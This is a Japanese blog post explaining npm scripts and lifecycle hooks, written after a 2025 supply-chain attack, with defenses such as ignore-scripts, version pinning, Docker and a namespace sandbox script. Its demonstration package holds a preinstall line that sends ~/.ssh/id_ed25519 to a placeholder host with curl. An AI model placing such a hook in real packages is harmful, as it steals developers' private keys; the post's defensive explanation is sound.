npmのスクリプトについて調べた 【サプライチェーン攻撃】

はじめに

npm はNode.jsのパッケージマネージャです。数多くのTypeScript/JavaScriptプロジェクトで採用されていると思います。2025年11月、正規のnpmパッケージに悪意のあるコードが混入させられる事件 (サプライチェーン攻撃) が発生し、当社でも対応に追われました。この攻撃に使われた1つの要素がnpmの「preinstall」スクリプトです。このスクリプトは「ライフサイクルスクリプト」に含まれ、特定のタイミングで実行されるようです。今回はこの「スクリプト」「ライフサイクルスクリプト」について調べてみました。

npmのスクリプト

npmのスクリプトは、package.jsonファイルに記述します。スクリプトはユーザーが npm run コマンドで実行したり、特定の操作を契機として自動的に実行されたりします。

bash-5.2$ cat package.json 
{
  "name": "npm-script",
  "version": "1.0.0",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "script1": "echo Hello",
    "script2": "echo World"
  }
}
bash-5.2$ npm run script1

> npm-script@1.0.0 script1
> echo Hello

Hello
bash-5.2$ npm run script2

> npm-script@1.0.0 script2
> echo World

World

スクリプトの実行ユーザー

package.json に記述したスクリプトは、npmコマンドを実行したユーザーで実行されます。rootユーザーでnpmコマンドを実行すると、スクリプトもrootユーザーで実行されます。

bash-5.2# cat package.json       
{
  "name": "package",
  "version": "1.0.0",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "id": "id"
  }
}
bash-5.2# id
uid=0 gid=0 groups=0,65534
bash-5.2# npm run id

> package@1.0.0 id
> id

uid=0 gid=0 groups=0,65534

ライフサイクルスクリプトとは

npmにおいてライフサイクルスクリプトとは、特定のnpmコマンドを実行した時に実行されるスクリプトを指します。例えば npm install <パッケージ名> を実行した時、次のスクリプトが実行されます:

  • npm install コマンドのライフサイクルスクリプト
    • preinstall
    • install
    • postinstall
    • prepublish
    • preprepare
    • prepare
    • postprepare

これらのスクリプトは <パッケージ名> のパッケージのスクリプトが実行されます。これら以外にもライフサイクルスクリプトがあり、npmの公式ウェブサイトで一覧を見ることができます。

ライフサイクルスクリプトの悪用例 (サプライチェーン攻撃)

ライフサイクルスクリプトでは、実行ユーザーに許されていることであれば何でもできてしまいます。ここでは、開発中の appパッケージに悪意のある malware パッケージをインストールするケースを考えます。この malware パッケージは ~/.ssh/id_ed25519 ファイルを外部に送信する能力を持ちます。

malware パッケージ

package.json:

{
  "name": "malware",
  "version": "1.0.0",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "preinstall": "cat ~/.ssh/id_ed25519 | curl -XPOST --data-binary @- https://example.invalid/upload"
  }
}

npm installする

$ npm install ../malware # 悪意のある preinstall スクリプトが実行される
npm error code 6
npm error path /home/ubuntu/node-v24.11.1-linux-x64/malware
npm error command failed
npm error command sh -c cat ~/.ssh/id_ed25519 | curl -XPOST  --data-binary @- https://example.invalid/upload
npm error % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
npm error                                  Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: example.invalid

この例では curl コマンドのPOST先が example.invalid 宛になっているためコマンドが失敗しますが、有効なPOST先を指定すると実際に情報の送信に成功してしまいます。

このように、悪意のあるパッケージはインストールしただけであなたのシステムを危険に晒すことがお分かり頂けると思います。 ~/.ssh/id_ed25519 ファイルのほか、クラウドサービスのAPIキーなんかが漏れてしまうと好き放題使われてしまうという結果にもつながります。

より安全にnpmを使うためにできること

より安全にnpmを使うためにできることを示します。

ignore-script=true 設定を入れる

ignore-script 設定を入れることにより、ライフサイクルスクリプトが実行されなくなります。注意点として、パッケージにより正常に動作しなくなることが挙げられます。※ただし、IDE組み込みのnpmではignore-script設定が読み込まれないことがあるようです。

npm config set ignore-scripts=true --global 

パッケージのバージョンを固定する

npmのパッケージのバージョンを指定する際、チルダ (~) やハット (^) 表記を使うことがあります。これを使うと、新しいバージョンのパッケージがリリースされた時にそのバージョンのパッケージがインストールされることがあります。これは監査の済んでいないパッケージをインストールしてしまうことに他なりませんので、これを避けます。

GOOD:

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  }
  "dependencies": {
    "semver": "7.7.3"
  }
}

BAD:

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  }
  "dependencies": {
    "semver": "^7.7.3"
  }
}

npmを隔離された環境で実行する

隔離された環境で実行すると言っても、やり方が色々あるとは思いますが、通常、スクリプトはプロジェクトディレクトリ外にアクセスする必要はないと考えられますので、プロジェクトディレクトリ外にアクセスできない環境で実行することを考えます。

npmをdockerで動かす

dockerを使い、カレントディレクトリだけをコンテナにマウントしてnpmコマンドを実行することができます。これによりホストのファイルシステムにみだりにアクセスされることを防ぐことができます:

docker run -v .:/mnt -w /mnt node:25-alpine3.22 npm install

npmを別のnamespaceで動かす (Linuxのみ, 上級者向け)

Linuxのnamespaces機能を使って、ホストのファイルシステムと隔離した環境でnpmコマンドを実行することができます。次のスクリプトを実行すると隔離環境が起動します (Ubuntu 24.04で動作確認済み):

#!/bin/bash
set -euo pipefail
DIR=./container
MOUNT_PATHS="[\"/bin\", \"/lib64\", \"/lib/x86_64-linux-gnu\", \"/usr/bin\", \"/usr/sbin\"]"
WORKDIR=$(pwd)

mkdir -p "${DIR}"

# 標準入力を新しいファイルディスクリプタに移動する
exec {newfd}<&0-
export newfd

# 新しいnamespaceでシェルを起動する
unshare -r -m -p -f <<doc
  set -euo pipefail
  mount -t tmpfs tmpfs "${DIR}"

  # resolv.conf をマウントする
  mkdir "${DIR}/etc"
  touch "${DIR}/etc/resolv.conf"
  mount -o bind "$(realpath /etc/resolv.conf)" "${DIR}/etc/resolv.conf"
  mount -o remount,ro,bind "${DIR}/etc/resolv.conf"

  # MOUNT_PATHS をマウントする
  echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c "mkdir -p ${DIR}/{} || exit 255"
  echo '${MOUNT_PATHS}' | jq -r '.[]' | xargs -I{} sh -c "mount -o ro,bind {} ${DIR}/{} || exit 255"
  mkdir -p '${DIR}/$(pwd)'
  mount -o bind '$(pwd)' '${DIR}/$(pwd)'
  mkdir "${DIR}/.put_old"

  # ファイルシステムを隔離する
  cd "${DIR}" && \
    pivot_root . .put_old && \
    exec chroot . ${SHELL} -c '
      mkdir /proc &&
      mount -t proc proc /proc &&
      umount -l /.put_old &&
      cd "${WORKDIR}" &&
      unshare -U ${SHELL} <&${newfd}'
doc

このスクリプトを実行するとシェルが起動します。実行前のカレントディレクトリおよび隔離環境の実行に必要な最低限のディレクトリとファイルにのみアクセス可能であることに注意してください。

上記のスクリプトは環境によってはうまく動作しない可能性があります。うまく動作しない場合は次の点を確認してみてください:

  • MOUNT_PATHS: 実行ファイル、および実行ファイルの動作に必要な動的リンクライブラリ (.so) へのパスが含まれているか
  • /etc/subuid/etc/subgid が適切に設定されているか

終わりに

本記事ではnpmのスクリプトとその隠れた危険性、およびより安全にnpmを使うためにできることを紹介しました。安全なソフトウェア開発のためにできることから行っていきましょう。

新規CTA